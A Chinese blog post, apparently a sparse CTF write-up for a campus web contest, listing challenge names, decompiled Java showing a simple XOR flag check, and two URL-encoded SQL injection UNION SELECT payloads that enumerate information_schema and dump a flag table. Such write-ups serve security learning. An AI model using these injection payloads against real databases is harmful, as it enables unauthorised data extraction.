当前位置: 首页 > news >正文

第四届商师校赛 web 1

RceMe

ezGame

伪装

Ping

Are you from SQNU?

Look for the homepage

Through

根据题目慢慢试

File_download

Post上传得到下载文件

反编译一下

/*

* Decompiled with CFR 0.152.

*

* Could not load the following classes:

* javax.servlet.http.HttpServlet

*/

package com.ctf.flag;

import java.util.ArrayList;

import java.util.Scanner;

import javax.servlet.http.HttpServlet;

public class FlagManager

extends HttpServlet {

public static void main(String[] args) {

Scanner sc = new Scanner(System.in);

System.out.println("Please input your flag: ");

String str = sc.next();

System.out.println("Your input is: ");

System.out.println(str);

char[] stringArr = str.toCharArray();

FlagManager.Encrypt(stringArr);

}

public static void Encrypt(char[] arr) {

ArrayList<Integer> Resultlist = new ArrayList<Integer>();

for (int i = 0; i < arr.length; ++i) {

int result = arr[i] + 38 ^ 0x30;

Resultlist.add(result);

}

int[] key = new int[]{110, 107, 185, 183, 183, 186, 103, 185, 99, 105,

105, 187, 105, 99, 102, 184, 185, 103, 99, 108, 186, 107, 187, 99, 183, 109, 105,

184, 102, 106, 106, 188, 109, 186, 111, 188};

ArrayList<Integer> Keylist = new ArrayList<Integer>();

for (int j = 0; j < key.length; ++j) {

Keylist.add(key[j]);

}

然后用python写出解密脚本即可得出flag

商师一日游

自私的小s

进入end.php

小小查询系统

id=-1%27%20UNION%20SELECT%201,group_concat(column_name),3%20FROM%20information_schema.columns%20WHERE%20table_schema%20=%20%27ctf%27%20AND%20table_name%20=%20%27flag%27--+

?id=-1%27%20UNION%20SELECT%201,value,group_concat(value)%20from%20ctf.flag%20%20--+

http://www.xdnf.cn/news/85015.html

相关文章:

  • 【Git】Git的远程分支已删除,为何本地还能显示?
  • VSCode 用于JAVA开发的环境配置,JDK为1.8版本时的配置
  • 交易所开发:构建高效数字交易枢纽
  • Spring 事务实现原理,Spring 的 ACID是如何实现的?如果让你用 JDBC 实现事务怎么实现?
  • React.cloneElement的用法详解
  • go 编译的 windows 进程(exe)以管理员权限启动(UAC)
  • Spark-Streaming简介及核心编程
  • 详解Windows(六)——文件系统
  • 电脑安装adb并且连接华为手机mate60pro后查看设备
  • 服务器操作系统时间同步失败的原因及修复
  • Windows:异常安全的内核对象
  • 如何使用压缩文件便捷地管理远程工作文件?
  • 子网划分的学习
  • 深入探索RAG:用LlamaIndex为大语言模型扩展知识,实现智能检索增强生成
  • Linux:线程基础(虚拟地址,分页)
  • 实现鼠标拖拽图片效果
  • 驱动开发硬核特训 · Day 17:深入掌握中断机制与驱动开发中的应用实战
  • 或者某些 M 理论、Loop Quantum Gravity 的空背景设想
  • 【Java面试笔记:基础】8.对比Vector、ArrayList、LinkedList有何区别?
  • L2-1、打造稳定可控的 AI 输出 —— Prompt 模板与格式控制
  • 局域网内,将linux(Ubuntu)的硬盘映射成Windows上,像本地磁盘一样使用
  • Lua 第8部分 补充知识
  • ProxySQL 读写分离规则配置指南
  • exception:com.alibaba.nacos.api.exception.NacosException: user not found! 解决方法
  • 解决Python与Java交互乱码问题:从编码角度优化数据流
  • 云原生 - Service Mesh
  • 【Linux运维涉及的基础命令与排查方法大全】
  • 位运算练习:起床困难综合征(贪心,位运算)(算法竞赛进阶指南学习笔记)
  • 2025-04-22| Docker: --privileged参数详解
  • 【源码】【Java并发】【ThreadLocal】适合中学者体质的ThreadLocal源码阅读